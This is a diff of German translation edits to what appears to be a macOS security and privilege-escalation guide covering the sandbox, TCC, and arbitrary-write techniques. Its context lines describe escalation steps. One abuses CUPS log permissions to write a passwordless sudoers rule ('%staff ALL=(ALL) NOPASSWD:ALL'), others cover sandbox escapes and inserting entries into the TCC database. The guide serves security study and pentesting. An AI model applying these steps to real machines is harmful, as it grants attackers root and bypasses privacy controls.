 ### Umgehung der Flags `CS_REQUIRE_LV` und `CS_FORCED_LV`
 
@@ -249,7 +249,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitrarion.diskarbitrariond` Mach-Dienst (bereitgestellt von `/usr/libexec/diskarbitrationd`) kommuniziert. Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden die Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
+Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitrarion.diskarbitrariond` Mach-Dienst (bereitgestellt von `/usr/libexec/diskarbitrationd`) kommuniziert. Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
 Es ist jedoch möglich, Tools wie `hdik` und `hdiutil` zu verwenden, um direkt mit dem `com.apple.driver.DiskImages` kext zu kommunizieren.
 
 ## Arbiträre Schreibvorgänge
@@ -258,7 +258,7 @@ Es ist jedoch möglich, Tools wie `hdik` und `hdiutil` zu verwenden, um direkt m
 
 Wenn Ihr Skript als **Shell-Skript** interpretiert werden könnte, könnten Sie das **`/etc/periodic/daily/999.local`** Shell-Skript überschreiben, das jeden Tag ausgelöst wird.
 
-Sie können eine Ausführung dieses Skripts fälschen mit: **`sudo periodic daily`**
+Sie können die Ausführung dieses Skripts mit **`sudo periodic daily`** **fälschen**.
 
 ### Daemons
 
@@ -303,17 +303,17 @@ LogFilePerm 777
 ```
 Dies wird die Datei `/etc/sudoers.d/lpe` mit den Berechtigungen 777 erstellen. Der zusätzliche Müll am Ende dient dazu, die Erstellung des Fehlerprotokolls auszulösen.
 
-Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration, um die Berechtigungen zu eskalieren, wie `%staff ALL=(ALL) NOPASSWD:ALL`.
+Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration, um Privilegien zu eskalieren, wie `%staff ALL=(ALL) NOPASSWD:ALL`.
 
 Ändere dann die Datei `/etc/cups/cups-files.conf` erneut und gebe `LogFilePerm 700` an, damit die neue sudoers-Datei gültig wird, wenn `cupsctl` aufgerufen wird.
 
 ### Sandbox Escape
 
-Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu umgehen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt, und sie mit `open` aufzurufen.
+Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu verlassen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt, und sie mit `open` aufzurufen.
 
 ## Generiere beschreibbare Dateien als andere Benutzer
 
-Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als privesc funktionieren:
+Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als Privilegieneskalation funktionieren:
 ```bash
 DIRNAME=/usr/local/etc/periodic/daily
 
@@ -425,7 +425,7 @@ return 0;
 
 **macOS geschützte Deskriptoren** sind eine Sicherheitsfunktion, die in macOS eingeführt wurde, um die Sicherheit und Zuverlässigkeit von **Dateideskriptoroperationen** in Benutzeranwendungen zu verbessern. Diese geschützten Deskriptoren bieten eine Möglichkeit, spezifische Einschränkungen oder "Wächter" mit Dateideskriptoren zu verknüpfen, die vom Kernel durchgesetzt werden.
 
-Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitsanfälligkeiten wie **unauthorized file access** oder **race conditions** zu verhindern. Diese Anfälligkeiten treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift und **einem anderen anfälligen Thread Zugriff darauf gewährt** oder wenn ein Dateideskriptor von einem anfälligen Kindprozess **vererbt** wird. Einige Funktionen, die mit dieser Funktionalität zusammenhängen, sind:
+Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitsanfälligkeiten wie **unbefugten Dateizugriff** oder **Rennbedingungen** zu verhindern. Diese Anfälligkeiten treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift und **einem anderen anfälligen Thread Zugriff darauf gewährt** oder wenn ein Dateideskriptor von einem anfälligen Kindprozess **vererbt** wird. Einige Funktionen, die mit dieser Funktionalität zusammenhängen, sind:
 
 - `guarded_open_np`: Öffnet einen FD mit einem Wächter
 - `guarded_close_np`: Schließt ihn

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md

@@ -4,11 +4,11 @@
 
 ## Grundlegende Informationen
 
-MacOS Sandbox (zunächst Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb des Sandboxes ausgeführt werden, auf die **erlaubten Aktionen, die im Sandbox-Profil** festgelegt sind, mit dem die App ausgeführt wird. Dies hilft sicherzustellen, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
+MacOS Sandbox (anfänglich Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb des Sandboxes ausgeführt werden, auf die **erlaubten Aktionen, die im Sandbox-Profil** festgelegt sind, mit dem die App ausgeführt wird. Dies hilft sicherzustellen, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
 
 Jede App mit der **Berechtigung** **`com.apple.security.app-sandbox`** wird innerhalb des Sandboxes ausgeführt. **Apple-Binärdateien** werden normalerweise innerhalb eines Sandboxes ausgeführt, und alle Anwendungen aus dem **App Store haben diese Berechtigung**. Daher werden mehrere Anwendungen innerhalb des Sandboxes ausgeführt.
 
-Um zu steuern, was ein Prozess tun oder nicht tun kann, hat der **Sandbox Hooks** in fast jeder Operation, die ein Prozess versuchen könnte (einschließlich der meisten Syscalls), unter Verwendung von **MACF**. Abhängig von den **Berechtigungen** der App kann der Sandbox jedoch permissiver mit dem Prozess umgehen.
+Um zu steuern, was ein Prozess tun oder nicht tun kann, hat der **Sandbox Hooks** in fast jede Operation, die ein Prozess versuchen könnte (einschließlich der meisten Syscalls), unter Verwendung von **MACF**. Allerdings kann der **Sandbox**, abhängig von den **Berechtigungen** der App, permissiver mit dem Prozess sein.
 
 Einige wichtige Komponenten des Sandboxes sind:
 
@@ -133,7 +133,7 @@ Hier finden Sie ein Beispiel:
 > [!TIP]
 > Überprüfen Sie diese [**Forschung**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **um weitere Aktionen zu überprüfen, die erlaubt oder verweigert werden könnten.**
 >
-> Beachten Sie, dass in der kompilierten Version eines Profils die Namen der Operationen durch ihre Einträge in einem Array ersetzt werden, das von der dylib und dem kext bekannt ist, wodurch die kompilierten Versionen kürzer und schwieriger zu lesen sind.
+> Beachten Sie, dass im kompilierten Version eines Profils die Namen der Operationen durch ihre Einträge in einem Array ersetzt werden, das von der dylib und dem kext bekannt ist, wodurch die kompilierte Version kürzer und schwieriger zu lesen ist.
 
 Wichtige **Systemdienste** laufen ebenfalls in ihrem eigenen benutzerdefinierten **Sandbox**, wie der Dienst `mdnsresponder`. Sie können diese benutzerdefinierten **Sandbox-Profile** einsehen unter:
 
@@ -200,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
 {{#endtabs}}
 
 > [!TIP]
-> Beachten Sie, dass die **von Apple verfasste** **Software**, die auf **Windows** läuft, **keine zusätzlichen Sicherheitsvorkehrungen** hat, wie z.B. die Anwendungssandboxierung.
+> Beachten Sie, dass die **von Apple verfasste** **Software**, die auf **Windows** läuft, **keine zusätzlichen Sicherheitsvorkehrungen** hat, wie z.B. Anwendungssandboxing.
 
 Beispiele für Umgehungen:
 
@@ -224,7 +224,7 @@ In `/tmp/trace.out` können Sie jede Sandbox-Prüfung sehen, die jedes Mal durch
 
 Es ist auch möglich, die Sandbox mit dem **`-t`** Parameter zu verfolgen: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
 
-#### Über API
+#### Über die API
 
 Die Funktion `sandbox_set_trace_path`, die von `libsystem_sandbox.dylib` exportiert wird, ermöglicht es, einen Trace-Dateinamen anzugeben, in den Sandbox-Prüfungen geschrieben werden.\
 Es ist auch möglich, etwas Ähnliches zu tun, indem man `sandbox_vtrace_enable()` aufruft und dann die Protokollfehler aus dem Puffer mit `sandbox_vtrace_report()` abruft.
@@ -237,15 +237,15 @@ Es ist auch möglich, etwas Ähnliches zu tun, indem man `sandbox_vtrace_enable(
 
 MacOS speichert System-Sandbox-Profile an zwei Orten: **/usr/share/sandbox/** und **/System/Library/Sandbox/Profiles**.
 
-Und wenn eine Drittanbieteranwendung das _**com.apple.security.app-sandbox**_ Recht hat, wendet das System das **/System/Library/Sandbox/Profiles/application.sb** Profil auf diesen Prozess an.
+Und wenn eine Drittanbieteranwendung das _**com.apple.security.app-sandbox**_ Entitlement hat, wendet das System das **/System/Library/Sandbox/Profiles/application.sb** Profil auf diesen Prozess an.
 
 In iOS wird das Standardprofil **container** genannt und wir haben keine SBPL-Textdarstellung. Im Speicher wird diese Sandbox als Erlauben/Verweigern-Binärbaum für jede Berechtigung aus der Sandbox dargestellt.
 
 ### Benutzerdefinierte SBPL in App Store-Apps
 
-Es könnte für Unternehmen möglich sein, ihre Apps **mit benutzerdefinierten Sandbox-Profilen** (anstatt mit dem Standardprofil) auszuführen. Sie müssen das Recht **`com.apple.security.temporary-exception.sbpl`** verwenden, das von Apple genehmigt werden muss.
+Es könnte für Unternehmen möglich sein, ihre Apps **mit benutzerdefinierten Sandbox-Profilen** (anstatt mit dem Standardprofil) auszuführen. Sie müssen das Entitlement **`com.apple.security.temporary-exception.sbpl`** verwenden, das von Apple genehmigt werden muss.
 
-Es ist möglich, die Definition dieses Rechts in **`/System/Library/Sandbox/Profiles/application.sb:`** zu überprüfen.
+Es ist möglich, die Definition dieses Entitlements in **`/System/Library/Sandbox/Profiles/application.sb:`** zu überprüfen.
 ```scheme
 (sandbox-array-entitlement
 "com.apple.security.temporary-exception.sbpl"
@@ -253,13 +253,13 @@ Es ist möglich, die Definition dieses Rechts in **`/System/Library/Sandbox/Prof
 (let* ((port (open-input-string string)) (sbpl (read port)))
 (with-transparent-redirection (eval sbpl)))))
 ```
-Dies wird **den String nach diesem Berechtigung** als Sandbox-Profil **eval**.
+Dies wird **den String nach diesem Recht** als Sandbox-Profil auswerten.
 
 ### Kompilieren & Dekompilieren eines Sandbox-Profils
 
 Das **`sandbox-exec`**-Tool verwendet die Funktionen `sandbox_compile_*` aus `libsandbox.dylib`. Die Hauptfunktionen, die exportiert werden, sind: `sandbox_compile_file` (erwartet einen Dateipfad, Parameter `-f`), `sandbox_compile_string` (erwartet einen String, Parameter `-p`), `sandbox_compile_name` (erwartet einen Namen eines Containers, Parameter `-n`), `sandbox_compile_entitlements` (erwartet Entitlements plist).
 
-Diese umgekehrte und [**Open-Source-Version des Tools sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) ermöglicht es, dass **`sandbox-exec`** in eine Datei das kompilierte Sandbox-Profil schreibt.
+Diese umgekehrte und [**Open-Source-Version des Tools sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) ermöglicht es, dass **`sandbox-exec`** das kompilierte Sandbox-Profil in eine Datei schreibt.
 
 Darüber hinaus kann es, um einen Prozess innerhalb eines Containers einzuschränken, `sandbox_spawnattrs_set[container/profilename]` aufrufen und einen Container oder ein bereits vorhandenes Profil übergeben.
 
@@ -267,7 +267,7 @@ Darüber hinaus kann es, um einen Prozess innerhalb eines Containers einzuschrä
 
 Auf macOS, im Gegensatz zu iOS, wo Prozesse von Anfang an durch den Kernel in einer Sandbox sind, **müssen Prozesse selbst in die Sandbox optieren**. Das bedeutet, dass ein Prozess auf macOS nicht durch die Sandbox eingeschränkt ist, bis er aktiv entscheidet, sie zu betreten, obwohl Apps aus dem App Store immer in einer Sandbox sind.
 
-Prozesse werden automatisch aus dem Userland in eine Sandbox gesetzt, wenn sie starten, wenn sie die Berechtigung haben: `com.apple.security.app-sandbox`. Für eine detaillierte Erklärung dieses Prozesses siehe:
+Prozesse werden automatisch aus dem Userland in eine Sandbox gesetzt, wenn sie starten, wenn sie das Recht haben: `com.apple.security.app-sandbox`. Für eine detaillierte Erklärung dieses Prozesses siehe:
 
 
 {{#ref}}
@@ -286,18 +286,18 @@ Erweiterungen ermöglichen es, einem Objekt weitere Berechtigungen zu geben, und
 - `sandbox_extension_issue_generic`
 - `sandbox_extension_issue_posix_ipc`
 
-Die Erweiterungen werden im zweiten MACF-Label-Slot gespeichert, der von den Prozessanmeldeinformationen zugänglich ist. Das folgende **`sbtool`** kann auf diese Informationen zugreifen.
+Die Erweiterungen werden im zweiten MACF-Label-Slot gespeichert, der von den Prozessanmeldeinformationen aus zugänglich ist. Das folgende **`sbtool`** kann auf diese Informationen zugreifen.
 
 Beachten Sie, dass Erweiterungen normalerweise von erlaubten Prozessen gewährt werden. Zum Beispiel wird `tccd` das Erweiterungstoken von `com.apple.tcc.kTCCServicePhotos` gewähren, wenn ein Prozess versucht hat, auf die Fotos zuzugreifen und in einer XPC-Nachricht erlaubt wurde. Dann muss der Prozess das Erweiterungstoken konsumieren, damit es hinzugefügt wird.\
 Beachten Sie, dass die Erweiterungstoken lange Hexadezimalzahlen sind, die die gewährten Berechtigungen kodieren. Sie haben jedoch die erlaubte PID nicht fest codiert, was bedeutet, dass jeder Prozess mit Zugriff auf das Token **von mehreren Prozessen konsumiert werden kann**.
 
-Beachten Sie, dass Erweiterungen auch sehr mit Berechtigungen verbunden sind, sodass das Vorhandensein bestimmter Berechtigungen automatisch bestimmte Erweiterungen gewähren kann.
+Beachten Sie, dass Erweiterungen auch sehr mit Rechten verbunden sind, sodass das Vorhandensein bestimmter Rechte automatisch bestimmte Erweiterungen gewähren kann.
 
 ### **Überprüfen der PID-Berechtigungen**
 
-[**Laut diesem**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s) können die **`sandbox_check`**-Funktionen (es ist ein `__mac_syscall`) überprüfen, **ob eine Operation erlaubt ist oder nicht** durch die Sandbox in einer bestimmten PID, Audit-Token oder eindeutige ID.
+[**Laut diesem**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s) können die **`sandbox_check`**-Funktionen (es ist ein `__mac_syscall`) überprüfen, **ob eine Operation in einer bestimmten PID, Audit-Token oder eindeutigen ID** von der Sandbox erlaubt ist oder nicht.
 
-Das [**Tool sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (finden Sie [hier kompiliert](https://newosxbook.com/articles/hitsb.html)) kann überprüfen, ob eine PID bestimmte Aktionen ausführen kann:
+Das [**Tool sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (finden Sie es [hier kompiliert](https://newosxbook.com/articles/hitsb.html)) kann überprüfen, ob eine PID bestimmte Aktionen ausführen kann:
 ```bash
 sbtool <pid> mach #Check mac-ports (got from launchd with an api)
 sbtool <pid> file /tmp #Check file access
@@ -316,9 +316,9 @@ Beachten Sie, dass zur Aufruf der Suspend-Funktion einige Berechtigungen überpr
 
 ## mac_syscall
 
-Dieser Systemaufruf (#381) erwartet ein erstes Argument vom Typ String, das das Modul angibt, das ausgeführt werden soll, und dann einen Code im zweiten Argument, der die auszuführende Funktion angibt. Das dritte Argument hängt dann von der ausgeführten Funktion ab.
+Dieser Systemaufruf (#381) erwartet ein String-Argument als ersten Parameter, das das Modul angibt, das ausgeführt werden soll, und dann einen Code im zweiten Argument, der die auszuführende Funktion angibt. Der dritte Parameter hängt dann von der ausgeführten Funktion ab.
 
-Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem im ersten Argument `"Sandbox"` angegeben wird, genau wie `___sandbox_msp` ein Wrapper von `mac_set_proc` (#387) ist. Einige der von `___sandbox_ms` unterstützten Codes sind in dieser Tabelle zu finden:
+Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem er im ersten Argument `"Sandbox"` angibt, genau wie `___sandbox_msp` ein Wrapper von `mac_set_proc` (#387) ist. Einige der unterstützten Codes von `___sandbox_ms` finden Sie in dieser Tabelle:
 
 - **set_profile (#0)**: Wendet ein kompiliertes oder benanntes Profil auf einen Prozess an.
 - **platform_policy (#1)**: Erzwingt plattformspezifische Richtlinienprüfungen (variiert zwischen macOS und iOS).
@@ -332,7 +332,7 @@ Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem im ersten A
 - **extension_twiddle (#9)**: Passt eine bestehende Dateierweiterung an oder ändert sie (z.B. TextEdit, rtf, rtfd).
 - **suspend (#10)**: Unterbricht vorübergehend alle Sandbox-Prüfungen (erfordert entsprechende Berechtigungen).
 - **unsuspend (#11)**: Setzt alle zuvor unterbrochenen Sandbox-Prüfungen fort.
-- **passthrough_access (#12)**: Erlaubt direkten Durchgangszugriff auf eine Ressource, umgeht Sandbox-Prüfungen.
+- **passthrough_access (#12)**: Erlaubt direkten Passthrough-Zugriff auf eine Ressource, umgeht Sandbox-Prüfungen.
 - **set_container_path (#13)**: (nur iOS) Setzt einen Containerpfad für eine App-Gruppe oder eine Signatur-ID.
 - **container_map (#14)**: (nur iOS) Ruft einen Containerpfad von `containermanagerd` ab.
 - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Setzt Metadaten im Benutzermodus in der Sandbox.
@@ -361,7 +361,7 @@ Beachten Sie, dass in iOS die Kernel-Erweiterung **alle Profile hardcodiert** im
 
 **`Sandbox.kext`** verwendet mehr als hundert Hooks über MACF. Die meisten Hooks überprüfen nur einige triviale Fälle, die es ermöglichen, die Aktion auszuführen; andernfalls rufen sie **`cred_sb_evalutate`** mit den **Anmeldeinformationen** von MACF und einer Nummer auf, die der **Operation** entspricht, die ausgeführt werden soll, sowie einem **Puffer** für die Ausgabe.
 
-Ein gutes Beispiel dafür ist die Funktion **`_mpo_file_check_mmap`**, die **`mmap`** hookt und die Überprüfung startet, ob der neue Speicher beschreibbar sein wird (und wenn nicht, die Ausführung erlaubt), dann überprüft, ob er für den dyld Shared Cache verwendet wird, und wenn ja, die Ausführung erlaubt, und schließlich wird **`sb_evaluate_internal`** (oder einer seiner Wrapper) aufgerufen, um weitere Erlaubnisprüfungen durchzuführen.
+Ein gutes Beispiel dafür ist die Funktion **`_mpo_file_check_mmap`**, die **`mmap`** hookt und die überprüft, ob der neue Speicher beschreibbar sein wird (und wenn nicht, die Ausführung erlaubt), dann überprüft, ob er für den dyld Shared Cache verwendet wird, und wenn ja, die Ausführung erlaubt, und schließlich wird **`sb_evaluate_internal`** (oder einer seiner Wrapper) aufgerufen, um weitere Erlaubnisprüfungen durchzuführen.
 
 Darüber hinaus gibt es unter den Hunderten von Hooks, die Sandbox verwendet, 3, die besonders interessant sind:
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md

@@ -17,18 +17,19 @@ Schließlich wird die Sandbox mit einem Aufruf von **`__sandbox_ms`** aktiviert,
 
 ### Umgehung des Quarantäneattributs
 
-**Dateien, die von sandboxed Prozessen erstellt werden**, erhalten das **Quarantäneattribut**, um ein Entkommen aus der Sandbox zu verhindern. Wenn es Ihnen jedoch gelingt, **einen `.app`-Ordner ohne das Quarantäneattribut** innerhalb einer sandboxed Anwendung zu erstellen, könnten Sie die App-Bündel-Binärdatei auf **`/bin/bash`** verweisen lassen und einige Umgebungsvariablen in der **plist** hinzufügen, um **`open`** zu missbrauchen, um **die neue App unsandboxed zu starten**.
+**Dateien, die von sandboxed Prozessen erstellt werden**, erhalten das **Quarantäneattribut**, um ein Entkommen aus der Sandbox zu verhindern. Wenn es Ihnen jedoch gelingt, **einen `.app`-Ordner ohne das Quarantäneattribut** innerhalb einer sandboxed Anwendung zu erstellen, könnten Sie die App-Bundle-Binärdatei auf **`/bin/bash`** verweisen lassen und einige Umgebungsvariablen in der **plist** hinzufügen, um **`open`** zu missbrauchen, um **die neue App unsandboxed zu starten**.
 
 Das wurde in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
 
 > [!CAUTION]
-> Daher können Sie im Moment, wenn Sie nur in der Lage sind, einen Ordner mit einem Namen, der auf **`.app`** endet, ohne ein Quarantäneattribut zu erstellen, die Sandbox umgehen, da macOS nur das **Quarantäne**-Attribut im **`.app`-Ordner** und in der **Hauptausführungsdatei** überprüft (und wir werden die Hauptausführungsdatei auf **`/bin/bash`** verweisen).
+> Daher können Sie im Moment, wenn Sie nur in der Lage sind, einen Ordner mit einem Namen zu erstellen, der auf **`.app`** endet, ohne ein Quarantäneattribut, die Sandbox umgehen, da macOS nur das **Quarantäne**-Attribut im **`.app`-Ordner** und in der **Hauptausführungsdatei** überprüft (und wir werden die Hauptausführungsdatei auf **`/bin/bash`** verweisen).
 >
-> Beachten Sie, dass, wenn ein .app-Bündel bereits autorisiert wurde, um ausgeführt zu werden (es hat ein Quarantäne-xttr mit dem autorisierten Ausführungsflag), Sie es auch missbrauchen könnten... es sei denn, Sie können jetzt nicht in **`.app`**-Bündel schreiben, es sei denn, Sie haben einige privilegierte TCC-Berechtigungen (die Sie in einer hochgradig sandboxed Umgebung nicht haben werden).
+> Beachten Sie, dass, wenn ein .app-Bundle bereits autorisiert wurde, um ausgeführt zu werden (es hat ein Quarantäne-xttr mit dem autorisierten Ausführungsflag), Sie es auch missbrauchen könnten... es sei denn, Sie können jetzt nicht in **`.app`**-Bundles schreiben, es sei denn, Sie haben einige privilegierte TCC-Berechtigungen (die Sie in einer hochgradig sandboxed Umgebung nicht haben werden).
 
 ### Missbrauch der Open-Funktionalität
 
-In den [**letzten Beispielen für die Umgehung der Word-Sandbox**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) kann man sehen, wie die **`open`**-CLI-Funktionalität missbraucht werden könnte, um die Sandbox zu umgehen.
+In den [**letzten Beispielen der Word-Sandbox-Umgehung**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) kann man sehen, wie die **`open`**-CLI-Funktionalität missbraucht werden könnte, um die Sandbox zu umgehen.
+
 
 {{#ref}}
 macos-office-sandbox-bypasses.md
@@ -47,6 +48,7 @@ Dafür benötigen Sie möglicherweise sogar **2 Schritte**: Um einen Prozess mit
 
 Überprüfen Sie diese Seite über **Auto-Start-Standorte**:
 
+
 {{#ref}}
 ../../../../macos-auto-start-locations.md
 {{#endref}}
@@ -55,6 +57,7 @@ Dafür benötigen Sie möglicherweise sogar **2 Schritte**: Um einen Prozess mit
 
 Wenn Sie von dem sandboxed Prozess in der Lage sind, **andere Prozesse zu kompromittieren**, die in weniger restriktiven Sandboxes (oder gar keinen) laufen, werden Sie in der Lage sein, in deren Sandboxes zu entkommen:
 
+
 {{#ref}}
 ../../../macos-proces-abuse/
 {{#endref}}
@@ -208,7 +211,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
 [**Diese Forschung**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) entdeckte 2 Möglichkeiten, die Sandbox zu umgehen. Da die Sandbox aus dem Userland angewendet wird, wenn die **libSystem**-Bibliothek geladen wird. Wenn ein Binary das Laden dieser Bibliothek vermeiden könnte, würde es niemals in die Sandbox gelangen:
 
 - Wenn das Binary **vollständig statisch kompiliert** wäre, könnte es das Laden dieser Bibliothek vermeiden.
-- Wenn das **Binary keine Bibliotheken laden müsste** (da der Linker auch in libSystem ist), müsste es libSystem nicht laden.
+- Wenn das **Binary keine Bibliotheken laden müsste** (da der Linker ebenfalls in libSystem ist), müsste es libSystem nicht laden.
 
 ### Shellcodes
 
@@ -323,7 +326,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
 __mac_syscall invoked. Policy: Sandbox, Call: 4
 Sandbox Bypassed!
 ```
-### Debug & bypass Sandbox with lldb
+### Debuggen & Umgehen des Sandboxes mit lldb
 
 Lass uns eine Anwendung kompilieren, die sandboxed sein sollte:
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md

@@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
 {{#endtabs}}
 
 > [!TIP]
-> Durch Überprüfung beider Datenbanken können Sie die Berechtigungen überprüfen, die eine App erlaubt, verboten hat oder nicht hat (sie wird danach fragen).
+> Durch Überprüfung beider Datenbanken können Sie die Berechtigungen überprüfen, die eine App erlaubt hat, die sie verboten hat oder die sie nicht hat (sie wird danach fragen).
 
 - Der **`service`** ist die TCC **Berechtigungs**-String-Darstellung
 - Der **`client`** ist die **Bundle-ID** oder **Pfad zur Binärdatei** mit den Berechtigungen
@@ -153,7 +153,7 @@ Führen Sie einfach **`launctl load you_bin.plist`** aus, mit einer plist wie:
 
 - Der **`auth_value`** kann verschiedene Werte haben: denied(0), unknown(1), allowed(2) oder limited(3).
 - Der **`auth_reason`** kann folgende Werte annehmen: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
-- Das **csreq**-Feld dient dazu, anzugeben, wie die Binärdatei zur Ausführung verifiziert werden soll, um die TCC-Berechtigungen zu gewähren:
+- Das **csreq**-Feld dient dazu, anzugeben, wie das Binärprogramm zur Ausführung verifiziert werden soll, um die TCC-Berechtigungen zu gewähren:
 ```bash
 # Query to get cserq in printable hex
 select service, client, hex(csreq) from access where auth_value=2;
@@ -206,9 +206,9 @@ csreq -t -r /tmp/telegram_csreq.bin
 Apps **müssen nicht nur** **anfordern** und **Zugriff** auf einige Ressourcen **erhalten**, sie müssen auch **die relevanten Berechtigungen haben**.\
 Zum Beispiel hat **Telegram** die Berechtigung `com.apple.security.device.camera`, um **Zugriff auf die Kamera** zu beantragen. Eine **App**, die diese **Berechtigung nicht hat**, wird **nicht in der Lage sein**, auf die Kamera zuzugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
 
-Um jedoch auf **bestimmte Benutzerordner** wie `~/Desktop`, `~/Downloads` und `~/Documents` **zuzugreifen**, müssen sie **keine spezifischen Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und **den Benutzer** nach Bedarf **auffordern**.
+Um jedoch auf **bestimmte Benutzerordner** wie `~/Desktop`, `~/Downloads` und `~/Documents` **zuzugreifen**, müssen sie **keine spezifischen Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und **den Benutzer bei Bedarf auffordern**.
 
-Die Apps von Apple **werden keine Aufforderungen generieren**. Sie enthalten **vorab erteilte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren** und **auch nicht** in einer der **TCC-Datenbanken** angezeigt werden. Zum Beispiel:
+Apples Apps **werden keine Aufforderungen generieren**. Sie enthalten **vorab erteilte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren** und **auch nicht** in einer der **TCC-Datenbanken** angezeigt werden. Zum Beispiel:
 ```bash
 codesign -dv --entitlements :- /System/Applications/Calendar.app
 [...]
@@ -254,13 +254,13 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
 >
 > Beachten Sie auch, dass, wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer verschieben, die gleiche App unterschiedliche UIDs haben wird und somit keinen Zugriff auf diese App gewährt.
 
-Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Es ist jedoch möglich, es **zu deaktivieren**, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**. 
+Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Allerdings ist es, wie [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**.
 
 ## TCC Privesc & Bypasses
 
 ### In TCC einfügen
 
-Wenn Sie irgendwann Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas wie das Folgende verwenden, um einen Eintrag hinzuzufügen (entfernen Sie die Kommentare):
+Wenn Sie irgendwann Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas wie das Folgende verwenden, um einen Eintrag hinzuzufügen (Kommentare entfernen):
 
 <details>
 
@@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
 
 ### TCC-Payloads
 
-Wenn Sie es geschafft haben, in eine App mit einigen TCC-Berechtigungen einzudringen, überprüfen Sie die folgende Seite mit TCC-Payloads, um diese auszunutzen:
+Wenn Sie es geschafft haben, in eine App mit einigen TCC-Berechtigungen zu gelangen, überprüfen Sie die folgende Seite mit TCC-Payloads, um sie auszunutzen:
 
 {{#ref}}
 macos-tcc-payloads.md
@@ -365,12 +365,12 @@ Sie könnten dies missbrauchen, um **Ihre eigene Benutzer-TCC-Datenbank zu schre
 >
 > Daher werden Sie nicht in der Lage sein, die vollen FDA-Fähigkeiten auszunutzen.
 
